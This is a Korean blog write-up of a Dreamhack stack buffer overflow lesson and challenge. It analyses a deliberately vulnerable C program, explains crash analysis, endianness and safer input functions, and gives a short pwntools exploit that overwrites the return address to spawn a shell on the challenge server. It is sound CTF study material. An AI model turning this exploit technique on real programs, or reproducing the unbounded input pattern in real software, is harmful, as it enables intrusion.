[함께실습] Stack Buffer Overflow
[Exploit Tech : Return Address Overwrite]
1. 실습 코드
- 이번 실습에 사용할 예제 코드
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
2. 분석
1) 취약점 분석
- 취약점 : scanf("%s", buf)에 존재
- scanf 함수의 %s는 문자열을 입력받을 때 사용 (입력의 길이를 제한x, 공백문자가 올때까지 계속 입력 받음)
- 따라서 버퍼의 크기보다 큰 데이터를 받으면 오버플로우 발생 가능
- scanf 에 %s 포맷 스트링은 절대 사용하지 말 것
- 대신에 n개의 문자만 입력 받는 "%[n]s"의 형태로 사용할 것!
- 이 외에 버퍼를 다루면서 길이를 입력하지 않는 함수들을 조심 ex) strcpy, strcat, sprintf
- 버퍼의 크기를 입력해야 하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직
- 따라서 프로그램의 취약점을 찾을 때 위의 조심해야 하는 함수들의 사용 여부를 잘 살펴야 함
- 예제 코드 -> 크기가 0x28인 버퍼에 scanf 함수의 %s 포맷 스트링으로 입력을 받으므로 버퍼 오버플로우 발생 가능
2) 트리거
- 발견한 취약점을 확인해보는 것
- core dumped : 코어파일(core)을 생성했다는 것
- 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것
A를 5개 입력했을 때, 프로그램이 정상적으로 종료됐지만 A를 아주 많이 입력했을 때, Segmentation fault가 뜨며 비정상 종료됨을 확인할 수 있다.
cf) 코어 파일 생성되지 않았을 때
- 코어 파일이 생성되지 않았다면 생성해야할 코어 파일의 크기가 제한된 크기를 초과했기 때문
- $ ulimit -c unlimited 명령어로 제한을 해제하고 다시 오류를 발생시키면 코어 파일을 얻을 수 있음
3) 코어 파일 분석
- $ gdb -c core 명령어를 이용하여 코어 파일을 열고 프로그램 종료 원인과 어떤 주소의 명령어에서 문제가 발생했는 지 알 수 있음
3. 익스플로잇
1) 스택 프레임 구조 파악
- 스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사 필요
2) get_shell() 주소 확인
- get_shell() : 셀을 실행해주는 함수
- get_shell()의 주소를 찾기 위해 gdb 이용
$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4005a7 <get_shell>
위의 예시에서는 get_shell()의 주소가 0x4005a7임을 확인할 수 있다.
3) 페이로드 구성
- 페이로드 : 시스템 해킹에서 공격을 위해 프로그램에 전달하는 데이터
4) 엔디언 적용
- 엔디언 : 메모리에서 데이터가 정렬되는 방식
- 종류 : 리틀 엔디언 / 빅 엔디언
- 리틀 엔디언 : 데이터 MSB(Most Significant Byte)가 가장 높은 주소에 저장
- 빅 엔디언 : 데이터의 MSB가 가장 낮은 주소에 저장
0x12345678 은 엔디언에 따라 위와 같이 저장된다.
5) 익스플로잇
- 엔디언을 적용하여 페이로드를 작성하고 아래의 커맨드로 rao에 전달하면 셀 획득 가능
4. 취약점 패치
1) rao
- rao 에서 위험한 문자열 입력함수를 이용하여 취약점 발생했었음
- 해당 취약점을 패치하기 위해 C언어에서 자주 사용되는 문자열 입력 함수와 패턴들
입력 함수 (패턴) | 위험도 | 평가 근거 |
gets(buf) | 매우 위험 | - 입력받는 길이에 제한 x - 버퍼의 널 종결을 보장 x |
scanf("%s", buf) | 매우 위험 | - 입력받는 길이에 제한 x - 버퍼의 널 종결을 보장 x |
scanf("%[width]s", buf) | 주의 필요 | - width만큼만 입력 받음 - 버퍼의 널 종결 보장 x |
fgets(buf, len, stream) | 주의 필요 | - len 만큼만 입력 받음 - 버퍼의 널 종결을 보장 - 데이터 유실 주의 |
[Return Address Overwrite]
일단 문제 정보를 보면 위의 이론 내용을 실습하는 문제인 것 같다.
파일을 받고 rao.c 파일의 코드를 살펴보았다.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
이미 앞에서 다룬 코드라 큰 내용은 없고 문제의 제목대로 일단 주소를 덮어써줘야한다는 생각으로 접근했다.
앞선 강의 내용을 참고하여 get_shell() 함수의 주소가 0x4011dd라는 것을 확인할 수 있었다.
(이거 때문에 처음에 get_shell 주소를 0x4011dd로 설정했었는데 버전이 달라서 그런지 이후의 단계에서 막혔다. 그러다가 dreamhack 초반에 설치하라고 했던 버전으로 다시 구한 get_shell 주소(0x4006aa)로 시도해보니 해결할 수 있었다.)
그리고 스크린샷은 날아가서 미처 넣지 못했지만 disasm을 확인했을 때 rsp에서 0x30만큼 뺐기 때문에 rsp와 rbp 사이의 크기는 0x30 바이트이다.
여기에 추가로 덮어야 하는 부분까지 합하면 8바이트이기 때문에 총 38바이트로 잡아주었다.
from pwn import *
context.log_level = 'debug'
p = remote("host1.dreamhack.games",11552)
context(arch='amd64', os = 'linux')
payload = b"a" * 0x38
payload += p64(0x4006aa)
p.sendline(payload)
p.interactive()
익스플로잇 코드를 작성했는데 이거는 구글링을 통해 부분부분 완성했다.
이렇게 완성한 코드를 파이썬을 이용해서 실행하니
원하는 flag 내용을 얻을 수 있었다.
'Security > System Hacking' 카테고리의 다른 글
[Dreamhack System Hacking] STAGE 4 - basic_exploitation_001 (0) | 2022.01.30 |
---|---|
[Dreamhack System Hacking] STAGE 4 - basic_exploitation_000 (0) | 2022.01.30 |
[Dreamhack System Hacking] STAGE 4 (0) | 2022.01.23 |
[Dreamhack System Hacking] STAGE 3 (0) | 2022.01.23 |
[Dreamhack System Hacking] STAGE 2 - shell_basic (0) | 2022.01.23 |
댓글